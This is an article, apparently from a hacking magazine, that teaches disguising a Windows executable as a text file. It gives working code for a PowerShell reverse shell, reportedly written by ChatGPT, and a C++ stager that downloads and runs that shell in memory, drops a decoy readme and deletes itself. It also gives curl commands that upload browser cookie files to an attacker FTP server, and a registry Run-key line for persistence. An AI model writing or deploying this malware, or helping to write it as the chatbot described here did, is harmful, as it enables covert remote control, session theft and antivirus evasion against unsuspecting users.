readme.exe

by street

My last article explained how to put malware in Windows MSI files.

This time I will be hiding malware in what appears to be a plain text file.  My C++ code is included here as a proof-of-concept.  The icon for it is replaced with the default icon for Windows text files.  Because Windows Explorer doesn't show file extensions by default, the executable appears as a real text file.  When the code runs, it self-destructs and creates a dummy text file in the same directory.  This leaves no trace of the program ever being present.

The C++ stagger downloads and launches a PowerShell script.  The script I am using is a reverse shell which was written by ChatGPT.

I just asked the ChatGPT bot to write a PowerShell script that connected to Netcat, and also would allow me to execute commands:

reverseshell.ps1:

$host1 = "Shell.Ip.Address"
$port1 = 1337

$socket = New-Object System.Net.Sockets.TcpClient($host1, $port1)

$stream = $socket.GetStream()

$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

$reader = New-Object System.IO.StreamReader($stream)

$writer.WriteLine("Connected.")
$response = "" 
while($response -ne "quit"){
	$currentDir = Get-Location
	$writer.WriteLine($currentDir)
	$response = $reader.ReadLine()
	$output = Invoke-Expression $response
	foreach ($line in $output -split "'n") {
		$writer.WriteLine($line)
	}
}

$socket.Close()

The reason I like to use PowerShell is that the script can be downloaded and run in memory without ever being written to the file system.  The code can also be obfuscated easily to avoid anti-virus.

Upload the remote shell to an open web directory.  Then run Netcat on your server and wait for a connection from the client with:

$ nc -lnvp 1337
listening on [any] 1337 ...

Where 1337 can be any port number in reverseshell.ps1.

When our stagger is opened, it will launch the reverse shell and connect to Netcat.

The C++ code is very short and simple.  It tells the operating system not to create a window, then writes a real readme.txt file into the program directory.  It opens the text file, downloads the reverse shell, and self-destructs.

Here is my C++ stagger code:

stagger.cpp:

#include <windows.h>
#include <fstream>

using namespace std;
int main()
{
  HWND Proc;

  AllocConsole();

  Proc = FindWindowA("ConsoleWindowClass", NULL);

  ShowWindow(Proc, 0);

  ofstream File("readme.txt");
  File << "Contents of readme.txt.";
  File.close();

  system("start /max powershell.exe notepad.exe readme.txt");
  system("start /min powershell.exe -ep bypass -ws hidden iex(New-Object Net.WebClient).DownloadString('https://reverseshell.ps1') &");
  system("start /min cmd /c del readme.exe");

  return 0;
}

Windows stores the icon it uses for text files in C:\Windows\System32\imageres.dll as icon number 102.  You can extract it and add it to the resources inside of your C++ project.

The program should be named readme.exe.  It will be deleted and replaced by the text file readme.txt immediately after it is opened.

But what can we do now?

Your reverse shell can download files from the client machine, or upload and run other scripts.  You can even steal credentials by downloading the client's browser cookies.

If you wanted to download the cookies, you could run Curl on the reverse shell with these commands:

C:\> curl.exe -T C:\Users\Name\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies ftp://YOUR-FTP-SERVER --user login:password
C:\> curl.exe -T C:\Users\Name\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies ftp://YOUR-FTP-SERVER --user login:password
C:\> curl.exe -T C:\Users\Name\AppData\Roaming\Mozilla\Firefox\Profiles\cookies.sqlite ftp://YOUR-FTP-SERVER --user login:password

The big three browsers keep all of their cookies in the above directories.

There are many tools for managing cookie files but, by replacing your own cookie files with the stolen cookies, you have access to any website that the client is logged into.

You may want to create an entry in the Windows Registry to launch the reverse shell when the client computer boots.

To do that, you can add this line to your reverse shell:

New-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "Start" -PropertyType "String" -value "powershell.exe -exec bypass -c iex(New-Object Net.WebClient).DownloadString('https://www.yourserver.com/script.ps1')"

Code: reverseshell.ps1

Code: stagger.cpp

Return to $2600 Index